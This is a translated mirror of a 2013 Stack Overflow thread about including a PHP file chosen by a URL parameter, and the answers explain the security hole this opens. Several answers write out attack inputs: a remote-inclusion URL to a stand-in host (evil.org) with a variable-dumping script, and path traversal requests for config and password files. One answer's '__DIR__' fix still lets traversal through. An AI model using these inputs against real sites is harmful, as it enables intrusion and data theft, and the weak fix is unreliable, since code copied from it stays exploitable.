如何根据$ _GET php使文件名包含变量

时间:2013-05-22 19:40:15

标签: php

要在我们执行的文件中包含php代码:

    <html>
    <body>


    <h1>Welcome to my home page!</h1>

    <p>Some text.</p>
   <?php include 'body.php'; ?>    
    </body>
    </html>

现在我想要包含一个文件,名称将在url中传递,所以例如我会www.site.com/file.php?name_of_file_to_include=body在文件中加载body.php:

<html>
<body>

<h1>Welcome to my home page!</h1>
<p>Some text.</p>
<? 
$file=$_GET["name_of_file_to_include"];
include $file.'.php'; 
?>
</body>
</html>

这是可能的还是做这件事的更好的选择。这样做的目的是因为我只会更改文件的一部分,但是我要加载很多文件

5 个答案:

答案 0 :(得分:2)

当然可以。我会确保$_GET["name_of_file_to_include"] **不包含远程网址。从根本上说,你的脚本很容易受到远程脚本注入的攻击。<​​/ p>

想象一下,攻击者准备了一个网址:

index.php?name_of_the_file_to_include=http://evil.org/my

在他的服务器上,他存储了一个名为my.php的文件:

foreach(get_defined_vars() as $var) {
    var_dump($var);
}

此脚本将直接在您的应用程序的上下文中运行,并且让我们看看您的数据库配置等等。

因此,请确保在include之前至少添加一个路径,以防止表单远程脚本注入。像这样:

include './' . $file.'.php';

然而,这不够安全,因为攻击者仍然可以执行系统中已有的代码。也许是一个受限制的php文件。所以你应该确保路径是洞察你的内容文件夹:

// realpath will remove all '/..' from path:
$path = realpath('./sites/' . $_GET['file_to_include'] . '.php');

// if the file does not exists realpath returns false
if(!$path) {
    die('error');
}

// check if the path starts exactly with your site path
if(strpos($path, realpath('./sites')) !== 0) {
    die('error');
}

// we are safe now:
include $path;

答案 1 :(得分:2)

你可以像展示一样完成......但你不应该

include将包含任何内容并解析php并显示其他所有内容,这使得任何人都可以访问您的系统上可以访问Web服务器的任何内容。

想象一下,如果你在webroot之外有一个database_config.ini(你把它放在那里,那么网上没有人可以看到你的数据库密码是什么。)

我可以在http://www.yoursite.com/file.php?name_of_file_to_include=../database_config.ini中进行攻击,现在我知道如何访问您的数据库了。

解决此问题的更好方法是创建页面白名单并包含文件

 $pages = array(
     "body"="body.php",
     "aboutme"=>"aboutme.php"
 );

然后使用:

 $page = $_GET["name_of_file_to_include"];
 if (array_key_exists($page, $pages)){
     include ($pages[$page]);
 } 

答案 2 :(得分:1)

是的!但请务必使用

指定基本路径
__DIR__

因此:

    //Include the requested file
    $file = __DIR__ . $_GET['file_name'] . ".php";
    if(file_exists($file ))
        include($file);

答案 3 :(得分:1)

这是可能的,但会打开一个巨大的安全漏洞。

想象一下有人要求www.site.com/file.php?name_of_file_to_include=/root/secret_password_file(假设您将重要数据存储在secret_password_file.php中的/root)。

听起来你想要某种形式的模板系统。有很多方法可以实现 - 有些方法比其他方法更复杂。对您而言,最简单的方法可能是忘记包含页面内容;相反,请考虑将页眉和页脚包含在内容页面中。

想象header.php看起来像:

<html>
<body>

<h1>Welcome to my home page!</h1>
<p>Some text.</p>

footer.php看起来像:

</body>
</html>

现在,您可以将它们都包含在每个内容页面中。例如,body.php可能如下所示:

<?php
include 'header.php';

<div>
... content here ...
</div>

include 'footer.php';

这实现了相同的效果,不允许随机网络用户从您的服务器请求任何文件。

答案 4 :(得分:1)

正如我的评论所述,我会采取相反的方式。在包含在所有页面中的文件中创建标题信息。我是如何做到的(以及所有模板师如何做到这一点)很简单:

将header.php存储在服务器的某个位置,其中包含标题中除</head>标记之外的所有内容。这样,您可以将此文件包含在任何页面中,并仍然添加链接关系和脚本。例如,这将是index.php或类似的东西。

<?PHP
    include("folder/header.php");
?>
<!-- ADD ADDITIONAL SCRIPTS AND STYLES HERE -->
<!-- END ADDITIONAL STUFF -->
<title></title>
</head>
<body>
<!-- YOUR CONTENT HERE -->
</body>
</html>

这样,您就拥有相同的格式化部分(如标题或任何其他部分),URL将类似于www.domain.com/index.php或www.domain.com/page.php。您还避免了“获取”文件的安全风险